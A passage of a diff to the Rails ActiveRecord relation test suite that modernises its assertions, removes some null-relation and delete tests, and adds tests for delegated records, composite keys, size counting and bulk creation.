+      assert_match(/field\(id, 1, 3, 2\)/, query)
+    end
 
-    query = Tag.order(["field(id, ?)", []]).to_sql
+    query = Tag.order(Arel.sql("field(id, ?)", [])).to_sql
     assert_match(/field\(id, NULL\)/, query)
 
-    query = Tag.order(["field(id, ?)", nil]).to_sql
+    query = Tag.order(Arel.sql("field(id, ?)", nil)).to_sql
     assert_match(/field\(id, NULL\)/, query)
   end
 
@@ -397,123 +542,6 @@ def test_select_with_block
     assert_equal [2, 4, 6, 8, 10], even_ids.sort
   end
 
-  def test_none
-    assert_no_queries(ignore_none: false) do
-      assert_equal [], Developer.none
-      assert_equal [], Developer.all.none
-    end
-  end
-
-  def test_none_chainable
-    assert_no_queries(ignore_none: false) do
-      assert_equal [], Developer.none.where(name: "David")
-    end
-  end
-
-  def test_none_chainable_to_existing_scope_extension_method
-    assert_no_queries(ignore_none: false) do
-      assert_equal 1, Topic.anonymous_extension.none.one
-    end
-  end
-
-  def test_none_chained_to_methods_firing_queries_straight_to_db
-    assert_no_queries(ignore_none: false) do
-      assert_equal [],    Developer.none.pluck(:id, :name)
-      assert_equal 0,     Developer.none.delete_all
-      assert_equal 0,     Developer.none.update_all(name: "David")
-      assert_equal 0,     Developer.none.delete(1)
-      assert_equal false, Developer.none.exists?(1)
-    end
-  end
-
-  def test_null_relation_content_size_methods
-    assert_no_queries(ignore_none: false) do
-      assert_equal 0,     Developer.none.size
-      assert_equal 0,     Developer.none.count
-      assert_equal true,  Developer.none.empty?
-      assert_equal true, Developer.none.none?
-      assert_equal false, Developer.none.any?
-      assert_equal false, Developer.none.one?
-      assert_equal false, Developer.none.many?
-    end
-  end
-
-  def test_null_relation_calculations_methods
-    assert_no_queries(ignore_none: false) do
-      assert_equal 0, Developer.none.count
-      assert_equal 0, Developer.none.calculate(:count, nil)
-      assert_nil Developer.none.calculate(:average, "salary")
-    end
-  end
-
-  def test_null_relation_metadata_methods
-    assert_equal "", Developer.none.to_sql
-    assert_equal({}, Developer.none.where_values_hash)
-  end
-
-  def test_null_relation_where_values_hash
-    assert_equal({ "salary" => 100_000 }, Developer.none.where(salary: 100_000).where_values_hash)
-  end
-
-  def test_null_relation_sum
-    ac = Aircraft.new
-    assert_equal Hash.new, ac.engines.group(:id).sum(:id)
-    assert_equal 0, ac.engines.count
-    ac.save
-    assert_equal Hash.new, ac.engines.group(:id).sum(:id)
-    assert_equal 0, ac.engines.count
-  end
-
-  def test_null_relation_count
-    ac = Aircraft.new
-    assert_equal Hash.new, ac.engines.group(:id).count
-    assert_equal 0, ac.engines.count
-    ac.save
-    assert_equal Hash.new, ac.engines.group(:id).count
-    assert_equal 0, ac.engines.count
-  end
-
-  def test_null_relation_size
-    ac = Aircraft.new
-    assert_equal Hash.new, ac.engines.group(:id).size
-    assert_equal 0, ac.engines.size
-    ac.save
-    assert_equal Hash.new, ac.engines.group(:id).size
-    assert_equal 0, ac.engines.size
-  end
-
-  def test_null_relation_average
-    ac = Aircraft.new
-    assert_equal Hash.new, ac.engines.group(:car_id).average(:id)
-    assert_nil ac.engines.average(:id)
-    ac.save
-    assert_equal Hash.new, ac.engines.group(:car_id).average(:id)
-    assert_nil ac.engines.average(:id)
-  end
-
-  def test_null_relation_minimum
-    ac = Aircraft.new
-    assert_equal Hash.new, ac.engines.group(:car_id).minimum(:id)
-    assert_nil ac.engines.minimum(:id)
-    ac.save
-    assert_equal Hash.new, ac.engines.group(:car_id).minimum(:id)
-    assert_nil ac.engines.minimum(:id)
-  end
-
-  def test_null_relation_maximum
-    ac = Aircraft.new
-    assert_equal Hash.new, ac.engines.group(:car_id).maximum(:id)
-    assert_nil ac.engines.maximum(:id)
-    ac.save
-    assert_equal Hash.new, ac.engines.group(:car_id).maximum(:id)
-    assert_nil ac.engines.maximum(:id)
-  end
-
-  def test_null_relation_in_where_condition
-    assert_operator Comment.count, :>, 0 # precondition, make sure there are comments.
-    assert_equal 0, Comment.where(post_id: Post.none).to_a.size
-  end
-
   def test_joins_with_nil_argument
     assert_nothing_raised { DependentFirm.joins(nil).first }
   end
@@ -539,7 +567,8 @@ def test_find_on_hash_conditions
   end
 
   def test_joins_with_string_array
-    person_with_reader_and_post = Post.joins([
+    person_with_reader_and_post = Post.joins(
+      [
         "INNER JOIN categorizations ON categorizations.post_id = posts.id",
         "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
       ]
@@ -547,12 +576,14 @@ def test_joins_with_string_array
     assert_equal 1, person_with_reader_and_post.size
   end
 
-  def test_no_arguments_to_query_methods_raise_errors
-    assert_raises(ArgumentError) { Topic.references() }
-    assert_raises(ArgumentError) { Topic.includes() }
-    assert_raises(ArgumentError) { Topic.preload() }
-    assert_raises(ArgumentError) { Topic.group() }
-    assert_raises(ArgumentError) { Topic.reorder() }
+  %w( references includes preload eager_load group order reorder reselect unscope
+      joins left_joins left_outer_joins optimizer_hints annotate regroup ).each do |method|
+    class_eval <<~RUBY
+      def test_no_arguments_to_#{method}_raise_errors
+        error = assert_raises(ArgumentError) { Topic.#{method}() }
+        assert_equal "The method .#{method}() must contain arguments.", error.message
+      end
+    RUBY
   end
 
   def test_blank_like_arguments_to_query_methods_dont_raise_errors
@@ -561,50 +592,31 @@ def test_blank_like_arguments_to_query_methods_dont_raise_errors
     assert_nothing_raised { Topic.preload([]) }
     assert_nothing_raised { Topic.group([]) }
     assert_nothing_raised { Topic.reorder([]) }
-  end
-
-  def test_scoped_responds_to_delegated_methods
-    relation = Topic.all
-
-    ["map", "uniq", "sort", "insert", "delete", "update"].each do |method|
-      assert_respond_to relation, method, "Topic.all should respond to #{method.inspect}"
-    end
-  end
-
-  def test_respond_to_delegates_to_relation
-    relation = Topic.all
-    fake_arel = Struct.new(:responds) {
-      def respond_to?(method, access = false)
-        responds << [method, access]
-      end
-    }.new []
-
-    relation.extend(Module.new { attr_accessor :arel })
-    relation.arel = fake_arel
-
-    relation.respond_to?(:matching_attributes)
-    assert_equal [:matching_attributes, false], fake_arel.responds.first
-
-    fake_arel.responds = []
-    relation.respond_to?(:matching_attributes, true)
-    assert_equal [:matching_attributes, true], fake_arel.responds.first
+    assert_nothing_raised { Topic.order([]) }
+    assert_nothing_raised { Topic.eager_load([]) }
+    assert_nothing_raised { Topic.reselect([]) }
+    assert_nothing_raised { Topic.unscope([]) }
+    assert_nothing_raised { Topic.joins([]) }
+    assert_nothing_raised { Topic.left_joins([]) }
+    assert_nothing_raised { Topic.optimizer_hints([]) }
+    assert_nothing_raised { Topic.annotate([]) }
   end
 
   def test_respond_to_dynamic_finders
     relation = Topic.all
 
     ["find_by_title", "find_by_title_and_author_name"].each do |method|
-      assert_respond_to relation, method, "Topic.all should respond to #{method.inspect}"
+      assert_respond_to relation, method
     end
   end
 
   def test_respond_to_class_methods_and_scopes
-    assert Topic.all.respond_to?(:by_lifo)
+    assert_respond_to Topic.all, :by_lifo
   end
 
   def test_find_with_readonly_option
-    Developer.all.each { |d| assert !d.readonly? }
-    Developer.all.readonly.each { |d| assert d.readonly? }
+    Developer.all.each { |d| assert_not d.readonly? }
+    Developer.all.readonly.each { |d| assert_predicate d, :readonly? }
   end
 
   def test_eager_association_loading_of_stis_with_multiple_references
@@ -619,27 +631,27 @@ def test_eager_association_loading_of_stis_with_multiple_references
   end
 
   def test_find_with_preloaded_associations
-    assert_queries(2) do
+    assert_queries_count(2) do
       posts = Post.preload(:comments).order("posts.id")
       assert posts.first.comments.first
     end
 
-    assert_queries(2) do
+    assert_queries_count(2) do
       posts = Post.preload(:comments).order("posts.id")
       assert posts.first.comments.first
     end
 
-    assert_queries(2) do
+    assert_queries_count(2) do
       posts = Post.preload(:author).order("posts.id")
       assert posts.first.author
     end
 
-    assert_queries(2) do
+    assert_queries_count(2) do
       posts = Post.preload(:author).order("posts.id")
       assert posts.first.author
     end
 
-    assert_queries(3) do
+    assert_queries_count(3) do
       posts = Post.preload(:author, :comments).order("posts.id")
       assert posts.first.author
       assert posts.first.comments.first
@@ -647,55 +659,52 @@ def test_find_with_preloaded_associations
   end
 
   def test_preload_applies_to_all_chained_preloaded_scopes
-    assert_queries(3) do
+    assert_queries_count(3) do
       post = Post.with_comments.with_tags.first
       assert post
     end
   end
 
+  def test_extracted_association
+    relation_authors = assert_queries_count(2) { Post.all.extract_associated(:author) }
+    root_authors = assert_queries_count(2) { Post.extract_associated(:author) }
+    assert_equal relation_authors, root_authors
+    assert_equal Post.all.collect(&:author), relation_authors
+  end
+
   def test_find_with_included_associations
-    assert_queries(2) do
+    assert_queries_count(2) do
       posts = Post.includes(:comments).order("posts.id")
       assert posts.first.comments.first
     end
 
-    assert_queries(2) do
+    assert_queries_count(2) do
       posts = Post.all.includes(:comments).order("posts.id")
       assert posts.first.comments.first
     end
 
-    assert_queries(2) do
+    assert_queries_count(2) do
       posts = Post.includes(:author).order("posts.id")
       assert posts.first.author
     end
 
-    assert_queries(3) do
+    assert_queries_count(3) do
       posts = Post.includes(:author, :comments).order("posts.id")
       assert posts.first.author
       assert posts.first.comments.first
     end
   end
 
-  def test_default_scope_with_conditions_string
-    assert_equal Developer.where(name: "David").map(&:id).sort, DeveloperCalledDavid.all.map(&:id).sort
-    assert_nil DeveloperCalledDavid.create!.name
-  end
-
-  def test_default_scope_with_conditions_hash
-    assert_equal Developer.where(name: "Jamis").map(&:id).sort, DeveloperCalledJamis.all.map(&:id).sort
-    assert_equal "Jamis", DeveloperCalledJamis.create!.name
-  end
-
   def test_default_scoping_finder_methods
     developers = DeveloperCalledDavid.order("id").map(&:id).sort
     assert_equal Developer.where(name: "David").map(&:id).sort, developers
   end
 
   def test_includes_with_select
-    query = Post.select("comments_count AS ranking").order("ranking").includes(:comments)
+    query = Post.select("legacy_comments_count AS ranking").order("ranking").includes(:comments)
       .where(comments: { id: 1 })
 
-    assert_equal ["comments_count AS ranking"], query.select_values
+    assert_equal ["legacy_comments_count AS ranking"], query.select_values
     assert_equal 1, query.to_a.size
   end
 
@@ -704,7 +713,7 @@ def test_preloading_with_associations_and_merges
     reader = Reader.create! post_id: post.id, person_id: 1
     comment = Comment.create! post_id: post.id, body: "body"
 
-    assert !comment.respond_to?(:readers)
+    assert_not_respond_to comment, :readers
 
     post_rel = Post.preload(:readers).joins(:readers).where(title: "Uhuu")
     result_comment = Comment.joins(:post).merge(post_rel).to_a.first
@@ -760,7 +769,7 @@ def test_loading_with_one_association
   end
 
   def test_to_sql_on_eager_join
-    expected = assert_sql {
+    expected = capture_sql {
       Post.eager_load(:last_comment).order("comments.id DESC").to_a
     }.first
     actual = Post.eager_load(:last_comment).order("comments.id DESC").to_sql
@@ -825,7 +834,7 @@ def test_find_ids
 
   def test_find_in_empty_array
     authors = Author.all.where(id: [])
-    assert authors.to_a.blank?
+    assert_predicate authors.to_a, :blank?
   end
 
   def test_where_with_ar_object
@@ -834,6 +843,33 @@ def test_where_with_ar_object
     assert_equal 1, authors.to_a.length
   end
 
+  def test_where_with_ar_relation
+    author = Post.last.author
+    posts = Post.all.where(author: author)
+    assert_equal 3, posts.to_a.length
+  end
+
+  def test_where_id_with_delegated_ar_object
+    decorator = Class.new(SimpleDelegator)
+    author = Author.first
+    assert_equal 1, Author.where(id: decorator.new(author)).to_a.length
+    assert_equal 1, Author.where(id: [decorator.new(author)]).to_a.length
+  end
+
+  def test_where_relation_with_delegated_ar_object
+    decorator = Class.new(SimpleDelegator)
+    author = Post.last.author
+    assert_equal 3, Post.where(author: decorator.new(author)).to_a.length
+    assert_equal 3, Post.where(author: [decorator.new(author)]).to_a.length
+  end
+
+  def test_find_by_with_delegated_ar_object
+    decorator = Class.new(SimpleDelegator)
+    author = Author.first
+    assert_equal author, Author.find_by(id: decorator.new(author))
+    assert_equal author, Author.find_by(id: [decorator.new(author)])
+  end
+
   def test_find_with_list_of_ar
     author = Author.first
     authors = Author.find([author.id])
@@ -878,24 +914,22 @@ def test_typecasting_where_with_array
     ids = Author.pluck(:id)
     slugs = ids.map { |id| "#{id}-as-a-slug" }
 
-    assert_equal Author.all.to_a, Author.where(id: slugs).to_a
+    assert_equal Author.where(id: ids).to_a, Author.where(id: slugs).to_a
   end
 
   def test_find_all_using_where_with_relation
     david = authors(:david)
-    # switching the lines below would succeed in current rails
-    # assert_queries(2) {
-    assert_queries(1) {
+    assert_queries_count(1) {
       relation = Author.where(id: Author.where(id: david.id))
       assert_equal [david], relation.to_a
     }
 
-    assert_queries(1) {
+    assert_queries_count(1) {
       relation = Author.where("id in (?)", Author.where(id: david).select(:id))
       assert_equal [david], relation.to_a
     }
 
-    assert_queries(1) do
+    assert_queries_count(1) do
       relation = Author.where("id in (:author_ids)", author_ids: Author.where(id: david).select(:id))
       assert_equal [david], relation.to_a
     end
@@ -905,17 +939,17 @@ def test_find_all_using_where_with_relation_with_bound_values
     david = authors(:david)
     davids_posts = david.posts.order(:id).to_a
 
-    assert_queries(1) do
+    assert_queries_count(1) do
       relation = Post.where(id: david.posts.select(:id))
       assert_equal davids_posts, relation.order(:id).to_a
     end
 
-    assert_queries(1) do
+    assert_queries_count(1) do
       relation = Post.where("id in (?)", david.posts.select(:id))
       assert_equal davids_posts, relation.order(:id).to_a, "should process Relation as bind variables"
     end
 
-    assert_queries(1) do
+    assert_queries_count(1) do
       relation = Post.where("id in (:post_ids)", post_ids: david.posts.select(:id))
       assert_equal davids_posts, relation.order(:id).to_a, "should process Relation as named bind variables"
     end
@@ -923,20 +957,33 @@ def test_find_all_using_where_with_relation_with_bound_values
 
   def test_find_all_using_where_with_relation_and_alternate_primary_key
     cool_first = minivans(:cool_first)
-    # switching the lines below would succeed in current rails
-    # assert_queries(2) {
-    assert_queries(1) {
+    assert_queries_count(1) {
       relation = Minivan.where(minivan_id: Minivan.where(name: cool_first.name))
       assert_equal [cool_first], relation.to_a
     }
   end
 
+  def test_find_all_using_where_with_relation_with_no_selects_and_composite_primary_key_raises
+    order = cpk_orders(:cpk_groceries_order_1)
+    subquery = Cpk::Order.where(Cpk::Order.primary_key => [order.id])
+
+    assert_nothing_raised do
+      Cpk::Order.where(id: subquery.select(:id)).to_a
+    end
+
+    error = assert_raise(ArgumentError) do
+      Cpk::Order.where(id: subquery).to_a
+    end
+
+    assert_equal "Cannot map composite primary key [\"shop_id\", \"id\"] to id", error.message
+  end
+
   def test_find_all_using_where_with_relation_does_not_alter_select_values
     david = authors(:david)
 
     subquery = Author.where(id: david.id)
 
-    assert_queries(1) {
+    assert_queries_count(1) {
       relation = Author.where(id: subquery)
       assert_equal [david], relation.to_a
     }
@@ -946,7 +993,7 @@ def test_find_all_using_where_with_relation_does_not_alter_select_values
 
   def test_find_all_using_where_with_relation_with_joins
     david = authors(:david)
-    assert_queries(1) {
+    assert_queries_count(1) {
       relation = Author.where(id: Author.joins(:posts).where(id: david.id))
       assert_equal [david], relation.to_a
     }
@@ -954,92 +1001,25 @@ def test_find_all_using_where_with_relation_with_joins
 
   def test_find_all_using_where_with_relation_with_select_to_build_subquery
     david = authors(:david)
-    assert_queries(1) {
+    assert_queries_count(1) {
       relation = Author.where(name: Author.where(id: david.id).select(:name))
       assert_equal [david], relation.to_a
     }
   end
 
-  def test_exists
-    davids = Author.where(name: "David")
-    assert davids.exists?
-    assert davids.exists?(authors(:david).id)
-    assert ! davids.exists?(authors(:mary).id)
-    assert ! davids.exists?("42")
-    assert ! davids.exists?(42)
-    assert ! davids.exists?(davids.new.id)
-
-    fake = Author.where(name: "fake author")
-    assert ! fake.exists?
-    assert ! fake.exists?(authors(:david).id)
-  end
-
-  def test_exists_uses_existing_scope
-    post = authors(:david).posts.first
-    authors = Author.includes(:posts).where(name: "David", posts: { id: post.id })
-    assert authors.exists?(authors(:david).id)
-  end
-
-  def test_any_with_scope_on_hash_includes
-    post = authors(:david).posts.first
-    categories = Categorization.includes(author: :posts).where(posts: { id: post.id })
-    assert categories.exists?
-  end
-
   def test_last
     authors = Author.all
     assert_equal authors(:bob), authors.last
   end
 
-  def test_destroy_all
-    davids = Author.where(name: "David")
-
-    # Force load
-    assert_equal [authors(:david)], davids.to_a
-    assert davids.loaded?
-
-    assert_difference("Author.count", -1) { davids.destroy_all }
-
-    assert_equal [], davids.to_a
-    assert davids.loaded?
-  end
-
-  def test_delete_all
-    davids = Author.where(name: "David")
-
-    assert_difference("Author.count", -1) { davids.delete_all }
-    assert ! davids.loaded?
-  end
-
-  def test_delete_all_loaded
-    davids = Author.where(name: "David")
-
-    # Force load
-    assert_equal [authors(:david)], davids.to_a
-    assert davids.loaded?
-
-    assert_difference("Author.count", -1) { davids.delete_all }
-
-    assert_equal [], davids.to_a
-    assert davids.loaded?
-  end
-
-  def test_delete_all_with_unpermitted_relation_raises_error
-    assert_raises(ActiveRecord::ActiveRecordError) { Author.limit(10).delete_all }
-    assert_raises(ActiveRecord::ActiveRecordError) { Author.distinct.delete_all }
-    assert_raises(ActiveRecord::ActiveRecordError) { Author.group(:name).delete_all }
-    assert_raises(ActiveRecord::ActiveRecordError) { Author.having("SUM(id) < 3").delete_all }
-    assert_raises(ActiveRecord::ActiveRecordError) { Author.offset(10).delete_all }
-  end
-
   def test_select_with_aggregates
     posts = Post.select(:title, :body)
 
     assert_equal 11, posts.count(:all)
     assert_equal 11, posts.size
-    assert posts.any?
-    assert posts.many?
-    assert_not posts.empty?
+    assert_predicate posts, :any?
+    assert_predicate posts, :many?
+    assert_not_empty posts
   end
 
   def test_select_takes_a_variable_list_of_args
@@ -1057,10 +1037,6 @@ def test_select_takes_an_aliased_attribute
     assert_equal first.heading, topic.heading
   end
 
-  def test_select_argument_error
-    assert_raises(ArgumentError) { Developer.select }
-  end
-
   def test_count
     posts = Post.all
 
@@ -1068,13 +1044,13 @@ def test_count
     assert_equal 11, posts.count(:all)
     assert_equal 11, posts.count(:id)
 
-    assert_equal 1, posts.where("comments_count > 1").count
-    assert_equal 9, posts.where(comments_count: 0).count
+    assert_equal 3, posts.where("legacy_comments_count > 1").count
+    assert_equal 6, posts.where(comments_count: 0).count
   end
 
   def test_count_with_block
     posts = Post.all
-    assert_equal 10, posts.count { |p| p.comments_count.even? }
+    assert_equal 8, posts.count { |p| p.comments_count.even? }
   end
 
   def test_count_on_association_relation
@@ -1085,25 +1061,48 @@ def test_count_on_association_relation
     assert_equal author.posts.where(author_id: author.id).size, posts.count
 
     assert_equal 0, author.posts.where(author_id: another_author.id).size
-    assert author.posts.where(author_id: another_author.id).empty?
+    assert_empty author.posts.where(author_id: another_author.id)
   end
 
   def test_count_with_distinct
     posts = Post.all
 
-    assert_equal 3, posts.distinct(true).count(:comments_count)
+    assert_equal 4, posts.distinct(true).count(:comments_count)
     assert_equal 11, posts.distinct(false).count(:comments_count)
 
-    assert_equal 3, posts.distinct(true).select(:comments_count).count
+    assert_equal 4, posts.distinct(true).select(:comments_count).count
     assert_equal 11, posts.distinct(false).select(:comments_count).count
   end
 
-  def test_update_all_with_scope
-    tag = Tag.first
-    Post.tagged_with(tag.id).update_all title: "rofl"
-    list = Post.tagged_with(tag.id).all.to_a
-    assert_operator list.length, :>, 0
-    list.each { |post| assert_equal "rofl", post.title }
+  def test_size_with_distinct
+    posts = Post.distinct.select(:author_id, :comments_count)
+    assert_queries_count(1) { assert_equal 8, posts.size }
+    assert_queries_count(1) { assert_equal 8, posts.load.size }
+  end
+
+  def test_size_with_eager_loading_and_custom_order
+    posts = Post.includes(:comments).order("comments.id")
+    assert_queries_count(1) { assert_equal 11, posts.size }
+    assert_queries_count(1) { assert_equal 11, posts.load.size }
+  end
+
+  def test_size_with_eager_loading_and_custom_select_and_order
+    posts = Post.includes(:comments).order("comments.id").select(:type)
+    assert_queries_count(1) { assert_equal 11, posts.size }
+    assert_queries_count(1) { assert_equal 11, posts.load.size }
+  end
+
+  def test_size_with_eager_loading_and_custom_order_and_distinct
+    posts = Post.includes(:comments).order("comments.id").distinct
+    assert_queries_count(1) { assert_equal 11, posts.size }
+    assert_queries_count(1) { assert_equal 11, posts.load.size }
+  end
+
+  def test_size_with_eager_loading_and_manual_distinct_select_and_custom_order
+    accounts = Account.select("DISTINCT accounts.firm_id").order("accounts.firm_id")
+
+    assert_queries_count(1) { assert_equal 5, accounts.size }
+    assert_queries_count(1) { assert_equal 5, accounts.load.size }
   end
 
   def test_count_explicit_columns
@@ -1128,32 +1127,32 @@ def test_multiple_selects
   def test_size
     posts = Post.all
 
-    assert_queries(1) { assert_equal 11, posts.size }
-    assert ! posts.loaded?
+    assert_queries_count(1) { assert_equal 11, posts.size }
+    assert_not_predicate posts, :loaded?
 
     best_posts = posts.where(comments_count: 0)
-    best_posts.to_a # force load
-    assert_no_queries { assert_equal 9, best_posts.size }
+    best_posts.load # force load
+    assert_no_queries { assert_equal 6, best_posts.size }
   end
 
   def test_size_with_limit
     posts = Post.limit(10)
 
-    assert_queries(1) { assert_equal 10, posts.size }
-    assert ! posts.loaded?
+    assert_queries_count(1) { assert_equal 10, posts.size }
+    assert_not_predicate posts, :loaded?
 
     best_posts = posts.where(comments_count: 0)
-    best_posts.to_a # force load
-    assert_no_queries { assert_equal 9, best_posts.size }
+    best_posts.load # force load
+    assert_no_queries { assert_equal 6, best_posts.size }
   end
 
   def test_size_with_zero_limit
     posts = Post.limit(0)
 
     assert_no_queries { assert_equal 0, posts.size }
-    assert ! posts.loaded?
+    assert_not_predicate posts, :loaded?
 
-    posts.to_a # force load
+    posts.load # force load
     assert_no_queries { assert_equal 0, posts.size }
   end
 
@@ -1161,113 +1160,130 @@ def test_empty_with_zero_limit
     posts = Post.limit(0)
 
     assert_no_queries { assert_equal true, posts.empty? }
-    assert ! posts.loaded?
+    assert_not_predicate posts, :loaded?
   end
 
   def test_count_complex_chained_relations
-    posts = Post.select("comments_count").where("id is not null").group("author_id").where("comments_count > 0")
+    posts = Post.select("comments_count").where("id is not null").group("author_id").where("legacy_comments_count > 0")
 
-    expected = { 1 => 2 }
+    expected = { 1 => 4, 2 => 1 }
     assert_equal expected, posts.count
   end
 
   def test_empty
     posts = Post.all
 
-    assert_queries(1) { assert_equal false, posts.empty? }
-    assert ! posts.loaded?
+    assert_queries_count(1) { assert_equal false, posts.empty? }
+    assert_not_predicate posts, :loaded?
 
     no_posts = posts.where(title: "")
-    assert_queries(1) { assert_equal true, no_posts.empty? }
-    assert ! no_posts.loaded?
+    assert_queries_count(1) { assert_equal true, no_posts.empty? }
+    assert_not_predicate no_posts, :loaded?
 
     best_posts = posts.where(comments_count: 0)
-    best_posts.to_a # force load
+    best_posts.load # force load
     assert_no_queries { assert_equal false, best_posts.empty? }
   end
 
   def test_empty_complex_chained_relations
-    posts = Post.select("comments_count").where("id is not null").group("author_id").where("comments_count > 0")
+    posts = Post.select("comments_count").where("id is not null").group("author_id").where("legacy_comments_count > 0")
 
-    assert_queries(1) { assert_equal false, posts.empty? }
-    assert ! posts.loaded?
+    assert_queries_count(1) { assert_equal false, posts.empty? }
+    assert_not_predicate posts, :loaded?
 
     no_posts = posts.where(title: "")
-    assert_queries(1) { assert_equal true, no_posts.empty? }
-    assert ! no_posts.loaded?
+    assert_queries_count(1) { assert_equal true, no_posts.empty? }
+    assert_not_predicate no_posts, :loaded?
   end
 
   def test_any
     posts = Post.all
 
-    # This test was failing when run on its own (as opposed to running the entire suite).
-    # The second line in the assert_queries block was causing visit_Arel_Attributes_Attribute
-    # in Arel::Visitors::ToSql to trigger a SHOW TABLES query. Running that line here causes
-    # the SHOW TABLES result to be cached so we don't have to do it again in the block.
-    #
-    # This is obviously a rubbish fix but it's the best I can come up with for now...
-    posts.where(id: nil).any?
-
-    assert_queries(3) do
-      assert posts.any? # Uses COUNT()
-      assert ! posts.where(id: nil).any?
+    assert_queries_count(3) do
+      assert_predicate posts, :any? # Uses COUNT()
+      assert_not_predicate posts.where(id: nil), :any?
 
       assert posts.any? { |p| p.id > 0 }
-      assert ! posts.any? { |p| p.id <= 0 }
+      assert_not posts.any? { |p| p.id <= 0 }
+
+      assert posts.any?(Post)
+      assert_not posts.any?(Comment)
     end
 
-    assert posts.loaded?
+    assert_predicate posts, :loaded?
   end
 
   def test_many
     posts = Post.all
 
-    assert_queries(2) do
-      assert posts.many? # Uses COUNT()
+    assert_queries_count(2) do
+      assert_predicate posts, :many? # Uses COUNT()
       assert posts.many? { |p| p.id > 0 }
-      assert ! posts.many? { |p| p.id < 2 }
+      assert_not posts.many? { |p| p.id < 2 }
     end
 
-    assert posts.loaded?
+    assert_predicate posts, :loaded?
   end
 
   def test_many_with_limits
-    posts = Post.all
+    posts_with_limit = Post.limit(5)
+    posts_with_limit_one = Post.limit(1)
+
+    assert_predicate posts_with_limit, :many?
+    assert_not_predicate posts_with_limit, :loaded?
 
-    assert posts.many?
-    assert ! posts.limit(1).many?
+    assert_not_predicate posts_with_limit_one, :many?
+    assert_not_predicate posts_with_limit_one, :loaded?
   end
 
   def test_none?
     posts = Post.all
-    assert_queries(1) do
-      assert ! posts.none? # Uses COUNT()
+    assert_queries_count(1) do
+      assert_not posts.none? # Uses COUNT()
     end
 
-    assert ! posts.loaded?
+    assert_not_predicate posts, :loaded?
 
-    assert_queries(1) do
+    assert_queries_count(1) do
       assert posts.none? { |p| p.id < 0 }
-      assert ! posts.none? { |p| p.id == 1 }
+      assert_not posts.none? { |p| p.id == 1 }
+
+      assert posts.none?(Comment)
+      assert_not posts.none?(Post)
     end
 
-    assert posts.loaded?
+    assert_predicate posts, :loaded?
   end
 
   def test_one
     posts = Post.all
-    assert_queries(1) do
-      assert ! posts.one? # Uses COUNT()
+    assert_queries_count(1) do
+      assert_not posts.one? # Uses COUNT()
     end
 
-    assert ! posts.loaded?
+    assert_not_predicate posts, :loaded?
 
-    assert_queries(1) do
-      assert ! posts.one? { |p| p.id < 3 }
+    assert_queries_count(1) do
+      assert_not posts.one? { |p| p.id < 3 }
       assert posts.one? { |p| p.id == 1 }
+
+      assert_not posts.one?(Post)
+      assert_not posts.one?(Comment)
     end
 
-    assert posts.loaded?
+    assert_predicate posts, :loaded?
+  end
+
+  def test_one_with_destroy
+    posts = Post.all
+    assert_queries_count(1) do
+      assert_not posts.one?
+    end
+
+    posts.where.not(id: Post.first).destroy_all
+
+    assert_equal 1, posts.size
+    assert_predicate posts, :one?
   end
 
   def test_to_a_should_dup_target
@@ -1300,10 +1316,10 @@ def test_create
 
     sparrow = birds.create
     assert_kind_of Bird, sparrow
-    assert !sparrow.persisted?
+    assert_not_predicate sparrow, :persisted?
 
     hen = birds.where(name: "hen").create
-    assert hen.persisted?
+    assert_predicate hen, :persisted?
     assert_equal "hen", hen.name
   end
 
@@ -1314,34 +1330,93 @@ def test_create_bang
 
     hen = birds.where(name: "hen").create!
     assert_kind_of Bird, hen
-    assert hen.persisted?
+    assert_predicate hen, :persisted?
     assert_equal "hen", hen.name
   end
 
+  def test_create_with_polymorphic_association
+    author = authors(:david)
+    post = posts(:welcome)
+    comment = Comment.where(post: post, author: author).create!(body: "hello")
+
+    assert_equal author, comment.author
+    assert_equal post, comment.post
+  end
+
+  def test_new_with_array
+    green_birds = Bird.where(color: "green").new([{ name: "parrot" }, { name: "canary" }])
+    assert_equal ["parrot", "canary"], green_birds.map(&:name)
+    assert_equal ["green", "green"], green_birds.map(&:color)
+    green_birds.each { |bird| assert_not_predicate bird, :persisted? }
+  end
+
+  def test_build_with_array
+    green_birds = Bird.where(color: "green").build([{ name: "parrot" }, { name: "canary" }])
+    assert_equal ["parrot", "canary"], green_birds.map(&:name)
+    assert_equal ["green", "green"], green_birds.map(&:color)
+    green_birds.each { |bird| assert_not_predicate bird, :persisted? }
+  end
+
+  def test_create_with_array
+    green_birds = Bird.where(color: "green").create([{ name: "parrot" }, { name: "canary" }])
+    assert_equal ["parrot", "canary"], green_birds.map(&:name)
+    assert_equal ["green", "green"], green_birds.map(&:color)
+    green_birds.each { |bird| assert_predicate bird, :persisted? }
+  end
+
+  def test_create_with_block
+    sparrow = Bird.create do |bird|
+      bird.name = "sparrow"
+      bird.color = "gray"
+    end
+
+    assert_kind_of Bird, sparrow
+    assert_predicate sparrow, :persisted?
+    assert_equal "sparrow", sparrow.name
+    assert_equal "gray", sparrow.color
+  end
+
+  def test_create_bang_with_array
+    green_birds = Bird.where(color: "green").create!([{ name: "parrot" }, { name: "canary" }])
+    assert_equal ["parrot", "canary"], green_birds.map(&:name)
+    assert_equal ["green", "green"], green_birds.map(&:color)
+    green_birds.each { |bird| assert_predicate bird, :persisted? }
+  end
+
   def test_first_or_create
     parrot = Bird.where(color: "green").first_or_create(name: "parrot")
     assert_kind_of Bird, parrot
-    assert parrot.persisted?
+    assert_predicate parrot, :persisted?
     assert_equal "parrot", parrot.name
     assert_equal "green", parrot.color
 
     same_parrot = Bird.where(color: "green").first_or_create(name: "parakeet")
     assert_kind_of Bird, same_parrot
-    assert same_parrot.persisted?
+    assert_predicate same_parrot, :persisted?
     assert_equal parrot, same_parrot
+
+    canary = Bird.where(Bird.arel_table[:color].is_distinct_from("green")).first_or_create(name: "canary")
+    assert_equal "canary", canary.name
+    assert_nil canary.color
   end
 
   def test_first_or_create_with_no_parameters
     parrot = Bird.where(color: "green").first_or_create
     assert_kind_of Bird, parrot
-    assert !parrot.persisted?
+    assert_not_predicate parrot, :persisted?
     assert_equal "green", parrot.color
   end
 
   def test_first_or_create_with_block
-    parrot = Bird.where(color: "green").first_or_create { |bird| bird.name = "parrot" }
+    canary = Bird.create!(color: "yellow", name: "canary")
+    parrot = Bird.where(color: "green").first_or_create do |bird|
+      bird.name = "parrot"
+      bird.enable_count = true
+      assert_equal canary, Bird.find_by!(name: "canary")
+    end
+    assert_equal 1, parrot.total_count
     assert_kind_of Bird, parrot
-    assert parrot.persisted?
+    assert_predicate parrot, :persisted?
     assert_equal "green", parrot.color
     assert_equal "parrot", parrot.name
 
